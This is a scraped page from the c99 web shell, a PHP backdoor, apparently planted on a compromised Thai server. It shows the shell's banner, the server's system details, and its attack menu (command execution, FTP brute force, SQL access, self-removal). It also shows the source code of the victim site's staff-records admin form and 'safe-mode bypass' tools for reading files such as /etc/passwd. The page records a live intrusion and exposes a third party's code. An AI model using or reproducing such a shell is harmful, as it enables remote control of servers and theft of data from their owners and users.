!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/eperson/admin/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addPsInfo.php (7.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsadmin.php";
include_once 
"../class/clshire.php";
include_once 
"../class/clsprefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EPERSON'], $GLOBALS['DBUSER_EPERSON'], $GLOBALS['DBPASS_EPERSON']);

$oDP = new Department($oC);
$oAd = new admin($oC);
$oHr = new hire($oC);
$oPf = new prefix($oC);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addInfo" name="addInfo" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ข้อมูลบุคลากร</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">เพิ่มข้อมูลบุคลากร
      </font></legend>
     <form name="ff" action="processEditPsInfo.php" method="post" target="addInfo">
          <table width="80%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
          <td  height="30" align="left"><strong><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;&nbsp; 
            <img src="../picture/search2.jpg" alt=""  border="0" > เพิ่มข้อมูลบุคลากร</font></strong></td>
        </tr>
          <tr><td  align="left"></td></tr>
        <tr>
            <td align="center"><br>
            <table width="95%" height="22" border="0" align="center"><tr>
       <? if($s=="1"){ ?>
       <td width="46%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            บันทึกข้อมูลบุคลากรเรียบร้อยแล้ว</strong></font></td></tr>
        <? ?>
        <? if($e=="1"){ ?>
       <td width="46%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            <script>alert("ชื่อ-นามสกุลนี้มีอยู่ในระบบแล้ว");</script></strong></font></td></tr>
        <? ?>
        <? if($e=="2"){ ?>
       <td width="46%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            <script>alert(" login นี้มีอยู่ในระบบแล้ว");</script></strong></font></td></tr>
        <? ?>
        </table><br>    
        <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA" style="border-collapse:collapse">
         <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>Username</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td ><input name="loginName" type="text"  size="20" maxlength="20" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}">
                <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                </td>
      </tr>
      <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>คำนำหน้าชื่อ</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td width="65%" ><select name="prefixId">
                <option value="">--เลือกคำนำหน้าชื่อ--</option>
                <? $oPf->Rsprefix();  
                        while(
$oPf->GetRecord()){
                
?>
                    <option value="<? echo $oPf->prefixId?>"><? echo $oPf->prefixName?></option>
                <? ?>
                  </select>
                  <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                  </td>
      </tr>
      
          <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>ชื่อ - นามสกุล</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td ><input name="fName" type="text"  size="15" maxlength="60"  onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}">
                <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                <input name="lName" type="text" maxlength="60" size="20" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}">
                <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                </td>
      </tr>
           <tr ><td width="36%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>สังกัด หน่วย/กอง/ฝ่าย</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td width="65%"><select name="deptId">
                <option value="">--เลือกหน่วยงาน--</option>
                      <? $oDP->RSDeptByMaxdeptDate2();
                            while(
$oDP->GetRecord()){?>
                      <option value="<? echo $oDP->deptId;?>"><? echo $oDP->deptName?></option>
                      <? ?>
                    </select><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                    </td>
      </tr>
      <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>ประเภทบุคลากร</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td > 
                  <select name="hireId">
                  <option value="">--เลือกประเภทบุคลากร--</option>
                      <? $oHr->RShire();
                            while(
$oHr->GetRecord()){?>
                      <option value="<? echo $oHr->hireId;?>" ><? echo $oHr->hireName?></option>
                      <? ?>
                    </select>
                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                    </td>
      </tr>
            <tr ><td width="33%"  height="25" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ตำแหน่งในการเรียงลำดับ</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td >&nbsp;  
                    </td>
      </tr>
      <tr><td colspan="3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<select name="adminId">
                        <option value="">--เลือกตำแหน่งในการเรียงลำดับ--</option>
                      <? $oAd->RSadmin();
                            while(
$oAd->GetRecord()){?>
                      <option value="<? echo $oAd->adminId;?>" ><? echo $oAd->adminName?></option>
                      <? ?>
                    </select><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
    </td></tr>
      <tr><td>&nbsp; </td> </tr>
        </table>
        <table border="0" align="center" width="90%"><tr>
                <td align="center"><input type="submit" name="jj" value="บันทึกข้อมูลบุคลากร" onClick="return checkFormat();"> 
                 <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                  <input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = '?mm=1'">
                  <input type="hidden" name="method" value="addinfo" >
                  
        </td></tr></table></td></tr></table>
</form>
</fieldset>
</td>
</tr>
</table>
</body>
</html>
<script language="javascript">
function checkFormat(){

            
        if(document.ff.loginName.value == ""){
                alert("กรุณากรอก login เข้าสู่ระบบ");
                document.ff.loginName.focus();
                return false;
        }
        if(document.ff.prefixId.value == ""){
                alert("กรุณาเลือกคำนำหน้าชื่อ");
                document.ff.prefixId.focus();
                return false;
        }
        if(document.ff.fName.value == ""){
                alert("กรุณากรอกชื่อ");
                document.ff.fName.focus();
                return false;
        }
        if(document.ff.lName.value == ""){
                alert("กรุณากรอกนามสกุล");
                document.ff.lName.focus();
                return false;
        }
        
        if(document.ff.deptId.value == ""){
                alert("กรุณาเลือกหน่วยงาน");
                document.ff.deptId.focus();
                return false;
        }
        if(document.ff.adminId.value == ""){
                alert("กรุณาืเลือกตำแหน่งในการเรียงลำดับ");
                document.ff.adminId.focus();
                return false;
        }
        if(document.ff.hireId.value == ""){
                alert("กรุณาเลือกประเภทบุคลากร");
                document.ff.hireId.focus();
                return false;
        }
        
        var agree=confirm("คุณต้องการบันทึกข้อมูลบุคลากรใช่หรือไม่ ?");
        if (agree){
            return true ;
        }else{
            return false ;
        }    
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0067 ]--